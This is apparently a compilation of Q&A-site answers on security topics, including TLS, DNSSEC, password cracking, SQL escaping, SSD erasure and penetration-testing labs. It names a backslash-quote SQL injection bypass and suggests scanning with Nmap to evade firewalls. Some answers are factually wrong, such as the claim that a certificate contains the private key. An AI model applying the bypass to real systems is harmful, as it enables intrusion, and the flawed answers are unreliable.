On the other hand I doubt that it is useful at all to remotely get the OpenSSL version. At least this can not be used to find out if the server is affected by a specific security issue. Fixes for security issues usually get backported by the distributor and thus it might still be some OpenSSL 1.0.2e but it contains the security fixes (but not the features) from later versions.


Is it possible to brute force all 8 character passwords in an offline attack?

As per this link, with speed of 1,000,000,000 Passwords/sec, cracking a 8 character password composed using 96 characters takes 83.5 days. Research presented at Password^12 in Norway shows that 8 character NTLM passwords are no longer safe. They can be cracked in 6 hours on machine which cost ~$8000 in 2012.

One important thing to consider is which algorithm is used to create these hashes (assuming you are talking about hashed passwords). If some computationally intensive algorithm is used, then the rate of password cracking can be reduced significantly. In the link above, author highlights that "the new cluster, even with its four-fold increase in speed, can make only 71,000 guesses against Bcrypt and 364,000 guesses against SHA512crypt."


Finding how many filtered ports of a host that would be listed as “filtered” on Nmap

Filtered ports can be differs according to your scan method. I think the purpose of the question is to understand this. so run it with all possible switches and compare the output to see which one is better to bypass firewall


What portion of recursive (ISP, public, etc.) nameservers validate DNSSEC strictly?

I want to mainly focus on the second part of your question, namely the deployment state of DNSSEC. But before getting into that, I thought it would be interesting to note, that beside the obvious advantage, i.e. mitigating DNS poisoning, there are other less known threats when you don't use DNSSEC. A recent paper from 2019 [1], for example, shows how DNS poisoning can grant you a DV certificate, practically allowing an attacker to spoof your domain and provide TLS at the same time, giving the impression of being legitimate!

Now for the second part: people have done measurements of DNSSEC deployment (NS side) and validation (client side) in different settings. A paper from 2013 [2] did this for the client side and came to the following conclusion:

  After data cleaning, we gathered 131,320 results from 98,179 distinct IP addresses, out of which 4.8% had validation enabled. The ratio varies significantly per country, with Sweden, the Czech Republic and the United States having the largest ratios of validating clients in the field.

Another one from 2017 [3] measured the support both on name servers and resolvers:

  We use this methodology to measure a total of 403,355 exit nodes—from 177 countries and 8,842 ASes—over a period of 13 days in early 2017. These exit nodes use a total of 59,513 unique resolvers. We observe that 49,424 of the resolvers (83.0% of resolvers, covering 65.9% of the exit nodes) send requests with the DO bit set, suggesting that a majority of resolvers support DNSSEC.

I suggest to read these papers as the excerpts copied here does not cover the whole picture. Finally, you can also checkout SecSpider to have an overview of up-to-date state of DNSSEC deployment or to use DNSViz to have a visualization of DNSSEC for a host name. If you want to force DNSSEC on your client side, I'd suggest DNSSEC Trigger from NLnet Labs.

Personally, I think the slow penetration of DNSSEC has also to do with lack of visual cues for end-users. In contrast to the green padlock which indicates authentication secure channel, there is no indication for authenticated DNS results.

[1] Schwittmann, L., Wander, M., & Weis, T. (2019). Domain impersonation is feasible: A study of CA domain validation vulnerabilities. Proceedings - 4th IEEE European Symposium on Security and Privacy, EURO S and P 2019, 544–559. https://doi.org/10.1109/EuroSP.2019.00046

[2] Wander, M., & Weis, T. (2013). Measuring Occurrence of DNSSEC Validation. In M. Roughan & R. Chang (Eds.), Passive and Active Measurement (pp. 125–134). Springer Berlin Heidelberg. https://doi.org/10.1007/978-3-642-36516-4_13

[3] Chung, T., Van Rijswijk-Deij, R., Chandrasekaran, B., Choffnes, D., Levin, D., Maggs, B. M., Mislove, A., & Wilson, C. (2017). A longitudinal, end-to-end view of the DNSSEC ecosystem. Proceedings of the 26th USENIX Security Symposium, 1307–1322.


Secure HTTPS connection between arduino yun and apache server - self signed certificate

As the long name of -k (--insecure) implies, that is not a good idea.

The problem with disabling the certificate validation is that it allows for easy MITM attacks, e.g. another machine can intercept the communication and read/modify requests as if it were simple http with little overhead by simply self-signing itself to be the expected host.

Instead: As long as you pin the certificate and a possible attacker cannot tamper with your trust store, your setup should be fine if you do not keep curl from verifying the certificate.


Try this

echo -n | openssl s_client -connect www.security.us.hsbc.com:443 2>/dev/null | openssl x509  -noout -fingerprint -sha256

The output should look like this:

$ echo -n | openssl s_client -connect www.security.us.hsbc.com:443 2>/dev/null | openssl x509  -noout -fingerprint -sha256
SHA256 Fingerprint=2B:53:3C:29:EF:1E:DD:62:5A:A0:2A:D6:45:99:3C:6E:3F:6E:85:02:F5:D9:1A:85:8B:43:4E:82:90:D9:9C:65

Notice that the SHA256 fingerprint matches the screen shot below taken from Firefox


Are all these attacks possible with WiFi MitM or is it over-hyped nonsense?

Am I missing something, or does this community concur that this video
  is either over-simplified or just plain deceitful.

I wouldn't say it's deceitful, but it's definitely overhyped/oversimplified.

  First, the Google search he performs seems to be protected by TLS, how
  is that possible with just MiTM?

Yes. In order to do that, he would have to either strip SSL or install a root CA certificate on the mobile device. So you can't simply MITM https websites (the video over-simplifies it).

  Then he does some truly mind-blowing stuff like being able to access
  the microphone, record audio and send it to himself. No way that’s
  done via just an MiTM over WiFi.

Of course not. You cant just use a phone's microphone via MITM over wifi. As you can see in the video itself, he says that you make a victim install an application and then you can record microphone or access data on the phone. He obviously oversimplifies it. Not only will the victim have to install the application, but also have to give all the required permissions to the app (if you are dumb enough to do that, I guess you could make someone install root CA as well).

  Connecting to a strange WiFi might get you into trouble, but it alone
  cannot cause this level of compromise .... isn’t it?

At the end of the day using public WIFI is similar to being in the same network as the attacker but that's about it. Don't be stupid, keep software updated and be informed about security. The story is overhyped. Same as the ads from VPN companies.


Impose certificate extensions through the certificate authority instead of the client

The CSR is not used as a fixed order but more like a wishlist. Most CA do not simply sign this CSR but instead just take the clients public key from the CSR and then add whatever information and restrictions they think should be added to the certificate.


This facebook page looks different - phishing attempt?

This is a normal facebook page. They just redirected you to a "Company page", that actually looks quite different than your personal "feed" page.

The wifi actually redirected you to this page:
https://www.facebook.com/CityLifeAUS
and its pretty common for Wifi's to redirect you to their custom "start page" after authentication as a form of advertisement.

and thats why you got logged in automatically too.


By default, yes, though the sandbox parameter in the iframe tag can change this behavior.


What are the pros and cons of using yubikey with ssd hardware encryption?

I recently had to make the choice between using hardware versus software encryption for my hard drive. In the end I decided to use software based encryption for the simple matter that the software used has been vetted, tested and is generally considered secure.

My biggest problem with hardware encryption is that often there is no disclosure of how the encryption happens, how the keys are stored and which algorithms are used. My biggest worries were:

random number generation
key generation
backdoors (master keys for "vendor recovery")

For me personally this was too black box to be secure and hence I opted for software encryption. In the case of 7200 RPM and especially Soild State Drives the performance impact is not noticeable generally. In case you are using heavy write applications, you will notice a difference in speed degradation but even then it's still the difference between super fast and ultra fast.


I wrote a blog article specifically on that subject. Summary: password should be hashed ("encrypted" is not the correct term for that) to protect against attackers who gain read-only access to the database where a server stores whatever it needs to verify passwords.


What guarantees does perfect forward secrecy make with respect to compromise of a private key?

If information was directly encrypted to the compromised key, it's not forward secret.

Forward secrecy generally works by having the long term keys (the ones that have the greatest chance of being compromised) used for authentication only. These are used during a key agreement protocol which generates a set of ephemeral keys which are actually used to encrypt and decrypt data. These ephemeral keys are then discarded after use, and new ones are generated when needed.

In TLS, the cipher suites that provide forward secrecy are the ones with DHE or ECDHE in the name. For example, TLS_RSA_WITH_AES_128_GCM_SHA256 is not forward secret, while TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 is forward secret. The difference is how the RSA key from the certificate is used in the key exchange part of the handshake.

In the non-forward secret TLS_RSA_WITH_AES_128_GCM_SHA256, keying material is encrypted to the RSA key. If that RSA key is later compromised, that keying material can be decrypted, and the TLS traffic is exposed.

In the forward secret TLS_DHE_RSA_WITH_AES_128_GCM_SHA256, the RSA key is used to authenticate the Diffie-Hellman key exchange, from which keying material is derived. Even if the RSA key is stolen, the keying material for that session is safe, because the RSA private key was not used for encryption of keying material.

From this, it should be easy to see that if an RSA key is compromised but not detected, then it can still be used to break some future sessions with forward secrecy enabled. A client would connect to the MITM, trust it because it has the right key, and the session key will actually be negotiated with the MITM, leaking supposedly private info. If the client connects to the real server with forward secrecy turned on, then the attacker gets nothing, because they still can't use the stolen RSA key to break the Diffie-Hellman key exchange. If forward secrecy is turned off, connections to a server with a compromised key can still be snooped on by the attacker with access to the private RSA key in the same way they could decrypt past sessions.


Is it valid to have more than 1  in a SAML Token response

According to section 4.1.4.2 of the spec, it's legitimate to have multiple assertions in a response.


Is PIN-protected token with login certificate a two-factor authentication if the token is controlled solely by the user?

If they cannot understand that the scenario is faulty, it might be better to side-step the 2FA argument and simply stick with the much simpler argument that having any factor that is insecure makes it a null method.

In this case, unless you can enforce a strong PIN or passcode when creating the certificate, you can be certain that lazy people (most of us after all!) WILL not bother. Leaving the certificate wide open to copying & unwanted reuse.

UPDATE: From your comments.

The first thing to do is to make sure your own butt is covered by raising a formal risk if you have a suitable process available. Otherwise by at least ensuring you have written proof that you raised the issue.

The Next step might be to try and encourage the organisation to have an external security review. Internal Audit departments can be very helpful here! They generally are very grateful to anyone who will willingly speak to them and are often more than happy to take a steer from you regarding organisational risks.

Not every problem has a direct answer :/


Could a certificate authority and a ISP preform a MITM attack on HTTPS traffic?

So I'm wondering is it possible for an ISP to get a CA to mint certificates on the fly for whatever website a user is accessing and give the user of the ISP an https page with no warnings or errors while still being able to see the traffic.

While it would technically be possible to do so it would be overly complex. It is much easier that a CA creates a new intermediate CA certificate which the ISP then can use to issue new certificates on the fly itself. This will work as long as the domain is not explicitly pinned to a specific certificate or CA in the client (like done with google, facebook etc in modern browsers) since the browser will trust any locally trusted CA for any domain.

Publicly trusted CA actually sell intermediate CA in some cases but usually explicitly forbid misuse for MITM. Such "accidents" still happened in the past, see here or here. See also Can a nation-state adversary perform a MITM attack by compelling a CA to issue them with fake certs? for a related question.

Note that a CA which either deliberately issues false certificates, was compromised or shows otherwise bad behavior will usually be revoked as trusted from the browsers, no matter how big the CA is. This happened in the past with DigiNotar, Startcom/WoSign and Symantec.


ISP's defence methods against IPv6 Spoofing

Actually, there's not that much of a difference. The same techniques available for IPv4 can be applied for IPv6. Reverse path filtering (RPF) and static access-lists are the most common used, but given a specific network and its design other techniques can be used. MANRS has a nice overview on anti spoofing techniques for both IPv4 and IPv6: https://www.manrs.org/isps/guide/antispoofing/


What are OIDs in the context of this keytool command?

OID stands for an object identifier and in this context it is used to identify an X.509 certificate extension, i.e. additional data fields stored in the certificate, which are not predefined by the standard.

OID is not a secret number, hence it cannot be called a "security through obscurity" mechanism. It is more of an administrative feature.

In this case Search Guard expects (looks for) the value of a san field (subject alternative name). The san is defined in an extension identified by the specified OID of 1.2.3.4.5.5 and it (Search Guard) will (presumably) ignore all data specified in san fields in extensions with any other OIDs.

The value of OID is defined usually by an application and is not standardised, i.e. the developer can choose one arbitrarily as long as it doesn't conflict with other OIDs. Some applications/organisations apply a hierarchical structure to OID.

Refer for example to Red Hat's Standard X.509 v3 Certificate Extension Reference for examples of how specific certificate extensions.


The relevant term is codebook. A block cipher is a deterministic permutation: for a given key, it maps input block values to output block values, such that any two distinct input block values map to distinct output block values. The "codebook" is the complete description of that permutation: for each possible input block value, it gives the corresponding output.

One can say that the key-and-algorithm is a compact representation of the codebook, which allows for evaluation of the algorithm over any given input without having to store the complete codebook somewhere. However, if you can, as an attacker, rebuild the codebook, then you can decrypt everything which is encrypted with the same algorithm and the same key: you just have a big look-up table.

With 8-bit blocks, there are only 28 = 256 possible block values, so the codebook is remarkably small: it is just a map of 256 possible values. With the encryption oracle at hand, it is easy to obtain a copy of the complete codebook, e.g. by sending 256 one-byte messages to encrypt to the oracle. There can be details, depending on the following:

Does the oracle chooses a random IV, or will it use the IV value that the attacker provides ?
Is it a goal to minimize the number of requests to the oracle ? And/or the total number of bytes sent to the oracle ?

There can be interesting analysis here. For instance, if you send an encryption request for a sequence of 256 bytes of value 0, then the encryption result will describe a complete permutation cycle; the IV selects which cycle you get. Laying out a strategy for codebook recovery which minimizes the number of distinct requests, while enforcing a low maximum size on each request, can be challenging -- thus making for good homework subjects.


Merge a second OpenPGP key pair into user id of other key

Merging the user ID packets would be indeed possible -- but you'd have to create a new self-signatures afterwards for the user ID. You could use gpg-slit to cut apart the individual OpenPGP packets, and reconcatenate them using cat while putting the user ID packet at the right place (be aware: this requires deeper understanding of RFC 4880, OpenPGP).

But the use is rather limited: simply creating the same user ID has the exactly same effect, as all the certifications from others are created on a (primary public key, user ID string) tuple and thus will not be valid if the public key changes.

Decide which key should be the only one and create a new user ID. Sign that key with the superseded key, and revoke the superseded one instead (don't forget to upload both keys). Maybe notify those who certified the revoked key of that change, so they update your keys.


How can I manage multiple sets of passwords accessible by different users?

This answer was posted on answers.onstartups.com before the question was migrated to the IT Security site. Therefore it was likely not written with a focus on security.

You might find LastPass interesting - http://lastpass.com/ - their personal offering is free and you can share sensitive passwords to other lastpass users (read: your employees) so that they can use the password to log in, but cannot actually see the password. Automatically logs you into the site for web passwords, and can store regular passwords as well.

The enterprise version probably has the features you are looking for at $2 / month, but we've gotten by just fine on their free version.


How secure is 'blacking out' sensitive information using MS Paint?

As mentioned in the answers to a very similar question, scribbling over part of an image will destroy the original pixels, assuming that your editor doesn't store any layers or undo history in the saved image. (Paint doesn't.) There are some things to watch out for, though:

The width of the blanked region places an upper bound on the length of the secret data
The height of the region could tell attackers whether the text representation of the data has ascenders or descenders (like in the letters b and p)
Any spaces in the blanked region provide information about the relative lengths of the data's parts/words (mentioned in David Schwartz's comment)

If you use a blur rather than a plain opaque rectangle/brush, a determined attacker could try lots of different possibilities in the image to see what text(s) get close to your image when blurred. Some effects can be undone almost perfectly, so make sure the one you use involves a lot of randomness or actual data destruction (e.g. a blocky pixellization). Of course, Paint doesn't have any special effects, so you should be fine.

One possible thing to be wary of is JPEG compression artifacts around the secret data, which could be used to get clues about the shape of the text. It never hurts to overwrite more information than necessary when you're concerned about secrecy. (This attack isn't a problem if the image never went through JPEG compression before your redaction.)


Does formatting an SSD securely delete all data?

In theory, yes.* In reality, it depends on the SSD's implementation of TRIM.
TRIM is an optimization. Its actual implementation is left up to the manufacturer. Currently, most SSD manufacturers will queue a block for erasure by the garbage collector when it is discarded by TRIM, and this erasure is considered to be irreversible when it actually happens. But it is not designed for security, and it is not guaranteed to immediately erase data, even if some drives will erase it seconds or minutes after the command is issued. Just because the feature is usually implemented in such a way that precludes data recovery does not mean it can always be relied upon to do so in all cases.
The FTL may batch TRIM commands and execute them later, sometimes way later, and there's no way to know for sure if it really has occurred. Whether or not a TRIM operation on the entire drive will trigger foreground garbage collection depends on the firmware itself, for example. Furthermore, the operating system and filesystem driver need to support TRIM for the operation. If one chain in the link does not support transferring the command to the next link in the chain, it won't work.
Finally, although there's currently no known way to recover deleted data from a flash block that has had TRIM correctly applied, it's far more likely that the data is unrecoverable if you use ATA Secure Erase which, on modern SSDs, uses SED (Secure Encrypted Drive). With SED, the entire drive is transparently encrypted, and ATA Secure Erase simply removes the SED key, rendering all of the data instantly unrecoverable. The drive can then be formatted normally with your preferred tools.

Since you asked for specific examples, here is an article in which a manufacturer does not implement TRIM in such a way that erasure will occur in a timely manner:

Instead of the original Silicon Motion controller, the new batch of PNY Optima drives had a different, SandForce-based controller known for its less-than-perfect implementation of garbage collection leaving data on the disk for a long time after it’s been deleted.

The same article makes it clear that the type of TRIM supported may also affect erasure:

However, the implementation of the Deterministic Read After Trim (DRAT) protocol by many recent SSD drives makes trimmed pages inaccessible via standard SATA commands. If a particular SSD drive implements DRAT or DZAT (Deterministic Read Zero After Trim), the actual data may physically reside on the drive for a long time, yet it will be unavailable to forensic specialists via standard acquisition techniques. Sending the SSD drive to the manufacturer might be the only way of obtaining this information on a physical level.

* Actually, even in theory the answer might be no, depending on your adversary.


If the company has installed remote admin or remote monitoring software on the phone, then yes.

In general, if someone else gives you a phone, you cannot expect much control over the device.

But this is really a question that you need to discuss with your company's IT department. Most countries require that if they are monitoring you, then they need to inform you, or at least tell you if you ask.


Java SSL factory connection to SSL server (with just public-key and certificate)

A certificate is a public key and the matching private key.

What you are referring to as the certificate between the BEGIN CERTIFICATE and END CERTIFICATE tags is likely a public key.

The basis of public-private key cryptography is that it is computationally infeasible to generate a private key from a given public key. The public key and private key (i.e., the certificate) are generated together. The private key is used to encrypt messages that can only be decrypted with the public key. The public key is used to encrypt messages that can only be decrypted with the private key.

Without the private key, the public key cannot be used for SSL encryption, as the message could not be decrypted on the receiving end (or could not be encrypted on the sending end).

A PKCS #12 file usually contains both the private key and the public key and is typically encrypted and stored in a binary format. The formats you are describing with the BEGIN and END tags is typically a PEM format, a Base-64 representation of the DER formatted keys.


Is javascript fingerprinting becoming obsolete?

Fingerprinting is a cat and mouse game. Trackers are always finding new undocumented features that respond differently on each system, and browser makers always closing them as soon as they can. That's the "quickly becoming obsolete" part.
That means it does not work anymore? Not at all. It's that older fingerprinting tricks (those ancient ones from last year) don't bring as much as information as "back in the day." But newer ones will keep being developed and used, and browser vendors will keep plugging the holes.
An as privacy is looking more important now than was in the past, more and more people are aware of tracking, and using anti-tracking browsers and/or extensions. And I don't believe security and anti fraud industries are being heavy hit by this. Ad and tracking are being more impacted.
Fraud does not rely that much on fingerprinting, it's just one data point on the set. They have lots of points, and not knowing the browser being used will not blindfold them. But accessing, say, Amazon with a blank browser with no history at all makes impossible to them to profile me.


Ok, I figured it out. Since the application send local query to local database, in order to capture these queries I should capture lo packets with tcpdump:

# tcpdump -xx -i lo

This works perfectly.


What are the technical specifications for the Apple iPhone 7 fingerprint reader?

I think that you are being unrealistic in your expectations I'm afraid.

Firstly, I don't think Apple release any detailed technical/security specifications for any of their Touch ID releases.

Secondly, there are no mobiles at all in the FIPS database and it is unlikely that any could be realistically manufactured to FIPS 201 and remain competitively priced.

Thirdly, Apple themselves don't really pass off Touch ID as a high-security feature. From their latest iOS Security spec: "Other features, such as
Touch ID, enhance the user experience by making it simpler and more intuitive to secure the device". In other words, Touch ID is a convenience to the user which may make it more likely that users will use some security.

If you need FIPS 201, use a properly secured external device.

The ease of capture of a persons fingerprints and the inability to change them if compromised (!) should tell you everything you need to understand about using fingerprints in high-security situations. Don't. Use them to make life easier for users as one factor where appropriate.


Can you trace someone through picture header information?

Modern Smart phones embed GPS coordinates into pictures. http://www.howtogeek.com/211427/how-to-see-exactly-where-a-photo-was-taken-and-keep-your-location-private/

This is often how sought out individuals are found and detained because they take photos with their phones unaware the photo contains the location as well.

It all depends on the software/hardware/individual/etc taking the photo. Yes, its very possible, and its being done today.


Vulnhub is a collection of vulnerable distributions along with walkthroughs contributed by the community.

exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues.

PentesterLab has interesting exercises, some o them are about exploit development.

RebootUser has a lab that includes a Vulnix - a vulnerable Linux machine, VulVoIP - a relatively old AsteriskNOW distribution and has a number of weaknesses, and VulnVPN - a VM that you can practice exploiting the VPN service to gain access to the sever and ‘internal’ services.

BackTrack PenTesting Edition lab is an all-in-one penetration testing lab environment that includes all of the hosts, network infrastructure, tools, and targets necessary to practice penetration testing. It includes: a DMZ network with two hosts targets, an “internal” network with one host target and a pre-configured firewall.

PwnOS is a Debian VM of a target on which you can practice penetration testing with the goal of getting root.

Holynix is an Linux vmware image that was deliberately built to have security holes for the purposes of penetration testing.

Kioptrix VM is targeted at the beginner.

Scene One is a pentesting scenario liveCD made for a bit of fun and learning.

Sauron is a Linux system with a number of vulnerable web services.

LAMPSecurity training is designed to be a series of vulnerable virtual machine images along with complementary documentation designed to teach Linux, Apache, PHP and MySQL security.

OSCP, OSCE, SANS 660 and HackinkDOJO are some of the paid courses that have good practical labs.

Hacking challenge websites can also provide challenges that are increasing in difficulty, fun and addictive. WeChall is a website that aggregates scores on other challenge websites and it has a category for websites with exploits.

CTF (Capture The Flag) events have challenges where you are required to exploit local or remote software. Most live events are available on CTFTime but there are repositories of past events and some CTFs are still available after the live event.

But for exploit development, I suggest installing vulnerable applications on your own computer where you could easily perform analysis. The application doesn't necessarily have to be a server or run on a different computer. Go to exploit-db and find old exploits there, then look for that version of the vulnerable software and start working on it. If you need hints, the actual exploit can point you in the right direction.


If I put encrypted data in core data on iOS or macOS, how could a hacker crack it?

Cryptography can be used to protect against tampering even with offline attacks. Modern cryptography which doesn't detect tampering and relies on secrecy of its algorithms should be considered broken and is essenatially useless. A modern cryptosystem (say , AES-GCM) uses completely public algorithms , is resistant against differential cryptanalysis and tamper-proof with offline access to the ciphertext.


What does a IT Security Pro need to know about .NET Code Access Security (CAS)?

What does a security pro need to know about Code Access Security (CAS)?

Honestly I would say not a whole lot; until you need to know about it.

  Why have these security features been removed from .NET 4.0?

Because the security was complicating, leading to questions like this. It was also an incomplete solution since it was only .NET applications that had this functionality. Take for example, that a .NET Executable run over a network share would run in medium trust. Medium trust would prevent access to a lot of functionality, but it was done in the name of security. It however, did have its flaws.

Native EXEs did not behave this way. If someone was going to write a malicious executable, they probably wouldn't opt to do it .NET. A native executable does not behave differently when run over a network share. However, it did stop a very "cheap-and-simple" means of network applications being useful.
Administering it was downright confusing. Between Code Groups, zones, Strong Names, Application Identity, and permission sets, a lot needed to be known for something that didn't provide enough security.
The concept was born before UAC and AppLocker, where people that were Administrators always had administrative permissions. UAC goes much deeper than a .NET application, it's at the operating system level.

  How do we secure .NET 4.0 apps?

Your real goal isn't "to secure .NET apps" but "to secure all apps". AppLocker or SRP are more effective because they apply to any application. .NET, Java, Native, etc.

Additionally, by restricting the user's permission, not the application. Creating a policy application-by-application takes great effort, and even more difficult when you need to start creating exceptions for certain users.

That isn't to say that .NET 4.0 doesn't have a security model at all. .NET 4.0's replacement is Security Transparency, and "hosted" applications like Silverlight, ClickOnce, etc still have CAS-like permission sets applied to them.

Security Transparency relies more on a grant set provided by a sandbox. Take for example, Silverlight. Silverlight will give a different grant-set depending on whether the application is running in-browser (Medium Trust), or out-of-browser, which can have Full Trust. Running out-of-browser takes a users approval to do so, and even then it is restricted by things at the operating system level.

It's up to the developer to know what permission sets he has depending on which sandbox his application is running on. In effect, .NET 4 applications get the same "sandbox" as native applications. Silverlight, ClickOnce, etc get their own sandbox that have greater restrictions.


Safe to store access details in a session?

If you store the information in the session, it might get outdated wrt. to the database. That is, if module ownership expires, or it can be cancelled through other means, it might still be present in someone's session. Whether that's a problem or even a feature, is up to you.

However, this is "premature optimization". Unless you can prove (prove!) that this is going to be a performance problem, I wouldn't spend any more time than strictly necessary on it.


Is there any security flaw in using a non root port in production?

Same as @JOW +

Using exotics ports may be a bit confusing if your networks get bigger...

Nevertheless, in a pure "security" perspective, there's no problem with use of unprivileged ports. In fact, in the past, using ports >1024 was to run service as non-root users...
Nowadays, most of servers can do privileges dropping after binding IP ports, it became a bit useless.

But if you intend to run crappy-home-made-service, i think use of unprivileged port is better than running as root :)


On a theoretical basis, what you envision is the "right way": a primary most-secure key which is used only to certify or revoke the keys which you will actually use. In practice, however, revocation does not work well: people with whom you have already exchanged emails will keep a copy of your public key, and will not be automatically notified of your revocation.

You may want to have distinct storage procedures for your encryption key and your signature key. If you lose your encryption private key (e.g. harddisk crash) then you can no longer decrypt incoming emails, including those that you have already received. So the encryption key should be backuped somewhere. On the other hand, the signature key should not be backuped anywhere: losing the signature private key is a minor inconvenience (you just have to create a new key and certify it) but it does not invalidate previously emitted signatures, which keep on being verifiable.

4096 bits, or even 3072 bits, are overkill for RSA, DSA or ElGamal. 2048 bits are already more than enough to ensure security against attackers who use Earth-based technology. Stating that longer keys are "more secure" is pure speculation on what future unknown attacks may look like, and if we knew how they looked like, they would not be unknown.


ISO27001: Scoping Definition for Data Hosted on Cloud

As long as all the key services, processes and products are covered in the scope, it should be alright.

For example a statement like the following would also do -

ISMS covers the management, operation, and maintenance of information assets and information systems that enable the collection, aggregation, analysis and reporting of customer data.

The line above assumes that you own / manage the servers (even if they are on cloud) that store the customer data.


How secure is loging into internet banking via an https library?

Through your comment, you asked about the safety of storing and retrieving your credentials that way, but also if it is enough secure to use them after to log in automatically to your bank account.

For the first part, you need to assess yourself the security of your server first and since you want retrieve the credentials using SSH, may be you need to throw a glance on how to secure an SSH server from AskUbuntu website. But the idea of hashing and salting your password is an interesting thing you did, and there are so many questions about this subject on this website such as this one: Why are salted hashes more secure for password storage?

For using BeautifulSoup for automatic login, it is quite the same as when you use Mechanize, selenium or other similar libraries because all of them rely after all on using class httplib.HTTPSConnection and as you can read from that link:

  Note: HTTPS support is only available if the socket module was
  compiled with SSL support.

And I suppose you know how to use it in Python, for example:

>>> import httplib
>>> connectme = httplib.HTTPSConnection("mail.yahoo.com")
>>> connectme.request("GET", "/")
>>> response = connectme.getresponse()
>>> print response.status, response.reason
200 OK


What's the added benefit of having a CSRF token for an account activation link?

Ok, as I see it, there are two important HTTP requests here:

The first one is generated when the user clicks the activation link. This one is anyway not protected by a CSRF token, but contains an activation token. That all sounds fine.
The frontend will then generate a CSRF token and will send a request to your server to complete the activation. If that request contains the activation code, and the server verifies it, I do not see a reason to have a CSRF token in this particular case, although it's hard to tell for sure without seeing how the requests/responses look like and what they do on the server side. Could it be that the CSRF token is used later for something else? Are there any security related changes on the server or clinet side after performing these requests?

Because the first request is not protected by a CSRF token, and the token is generated on the fly for the second request, this kind of CSRF token implementation does anyway not really make sense for these particular requests because the attacker still has to know only the activation token, if I understood everything right.

What could still go wrong?

An attacker does not know the activation token of the victim so he can't use that attack vector in any case.

But an attacker could create his own account, and make the victim activate it, but this would be only exploitable if that request would have some additional effect, like logging the user in (what is not the case as you described). You must just be very careful that activating the account is the only effect of that request.

Another far fetched scenario would be if the server is always generating the same CSRF tokens for the same activation codes. The attacker could let the server generate CSRF token, but then interrupt the activation of the account (the second request). After that he would make the victim visit the link with his activation could, and he would know what CSRF token the victim got. But that is also a bit far fetched.

In addition to that, using a CSRF token has often some nice side effects, like limiting XSS to self XSS, but that's a more general thing, not specific to your case.

By the way, if you want to speed up things, why do you use the frontend to generate the second request? Why not make the server process the first request and activate the account?

And please do not take what I said for granted because it is hard to give an accurate answer if I did not see the app.


Keyboards that do not retain heat to prevent thermal imaging of key presses?

I suspect that you are over-complicating this issue.

In public areas, there are much easier ways to capture the information and we already have advice to customers such as wiping your hand over the keypad after use - this also ensures that fingerprints are obscured.

In private, secure areas - for example in high security use - we would expect physical controls to help prevent access and all non-approved devices are likely to be banned - windows may also have protective screens.

So I very much doubt that the cost and complexity of such a solution would be worthwhile to anyone.


What is the purpose of opportunistic TLS (like STARTTLS)?

In order:

  Is the use of opportunistic TLS just for backwards compatibility (with a known/used port)?

Yes.  When you have an existing service it is helpful to allow it to use TLS if the other end knows how, without requiring it to use TLS, to ensure you continue to be able to communicate with endpoints that do not know how.

  Is an opportunistic TLS implementation anyhow different from the use of native/normally implemented TLS/SSL?

From the perspective of the actual code, it certainly does not need to be.  For instance, many mail servers use OpenSSL for their opportunistic TLS implementations, just as an application might use OpenSSL for HTTPS traffic.

  Can the same "level of security" as properly configured TLS be achieved through the use of opportunistic TLS?

No.  Because it is designed for backwards compatibility, and uses the same ports as unencrypted traffic, a request to use opportunistic TLS can be stripped by an active man-in-the-middle, resulting in an unencrypted connection and transmission.   While HTTPS has some superficially similar issues such as SSL Strip, when using a protocol such as HTTPS it can be configured so that connections that aren't correctly protected by TLS simply fail.  You cannot do the same with opportunistic TLS which must always assume that the other end of the connection may in fact legitimately not want to use, or understand how to use TLS, and must downgrade to plain-text transmission gracefully.


It this a safe way to filter input into an SQL query

This isn't even remotely close to safe.  There are any number of gotchas:

As pointed out by Anders in a comment, this can be easily bypassed by  injecting in \'.  This works because it escapes your backslash, turning it into a literal backslash and causing the single quote to become unescaped.  Moreover, this is actually a very common thing to attempt during penetration testing - only escaping single quotes is a common mistake, so this is one of the first things I would try as an attacker.
You are dealing with escaping strings, but integer input is more dangerous.  For a query like this: SELECT * FROM table WHERE id=[input], the user input isn't quoted with strings anyway, so an attacker can inject a payload without requiring a single quote, completely escaping your security.  Of course you would defeat this by ensuring that any input used in a condition like the above is actually an integer, but what if you forget to do that somewhere?  What if someone changes the clause to make it an integer but forgets to change the escaping rules?  Stuff like that happens all the time, and it is very easy for code that was secure to become insecure accidentally, without anyone noticing.  The only guard against that is prepared queries.
You've properly accounted for multi-byte characters and differences in character encoding, right?  Because those two edge cases have bitten a number of systems that attempted the simple escaping that you are doing (here is a random example).

There are a few more gotchas, but those are the biggest.  #1 is a deal breaker - your chosen implementation is not at all secure.  #2 is also extremely dangerous and should highlight how easy it is to accidentally introduce SQL injection vulnerabilities if you don't use prepared queries.  So, if you will forgive me for being blunt: you're attempting to secure a system but have missed some critical and well-known gotchas.  That suggests that you might not yet have the experience to come up with your own custom solution.  That's really no big deal though - we're all learning, and we all had to figure this out at some point in time.  Still, it puts things in perspective and suggests one of two options:

You can continue to try to secure this with somewhat hacky solutions.  Now you know that these things are more complicated than you might have originally hoped, so if you go down this path you do so with the knowledge that the risk of an SQL injection vulnerability is high.
Or you can figure out how to get prepared queries in there and be much more safe.

The choice is yours!


What is important when selecting a VPN provider?

No logging whatever so e.g. encrypted servers, no tracking of originating IP address, etc

Most VPN providers will do only the minimal logging. Ask the support staff for exact details before signing up

  Minimal or next to no impact on speed

The closer the server is to your location, the faster the speed will be. VPN's have a speed impact due to no cache on encryted data. Some VPN services, such as Astrill.com include a system in their software that recreates the cache localy (if turned on) speeding up the system slightly.

  The ability to use the service on multiple computers without having to purchase a new router

Most VPNs are simple software installs on your PC. Usually the end user agreement allows you to install on multiple computers as long as only one is used at a time. If you want to use multiple computers on the VPN at the same time, you may need to buy additional keys to access the network. Again ask the support staff as this may vary.

  Unlimited downloads and uploads

There are many VPNs who offer unlimited traffic. Look on their websites or ask the support for details.

  Works with all web related applications e.g. web browsing, video streaming, chatting, audio streaming, etc

All VPNs I've tried work with the services you listed.


In-office Flask app on port 80 - is it safe?

We can't verify the security controls imposed by your application but just a few remarks regarding your configuration:

If you are requiring a username and password, you should require SSL. This certificate can be signed by your company's CA or an official CA. This is to make sure your employees credentials (or yours) stay secure.
sudo myapp.py => Big no no here, there are generally no good reasons to run your app as root. You should create a user which cannot login and run it under his name. This user should only have just enough rights to run your application and perform certain file manipulations (for instance write to a certain log folder/file) and nothing else.


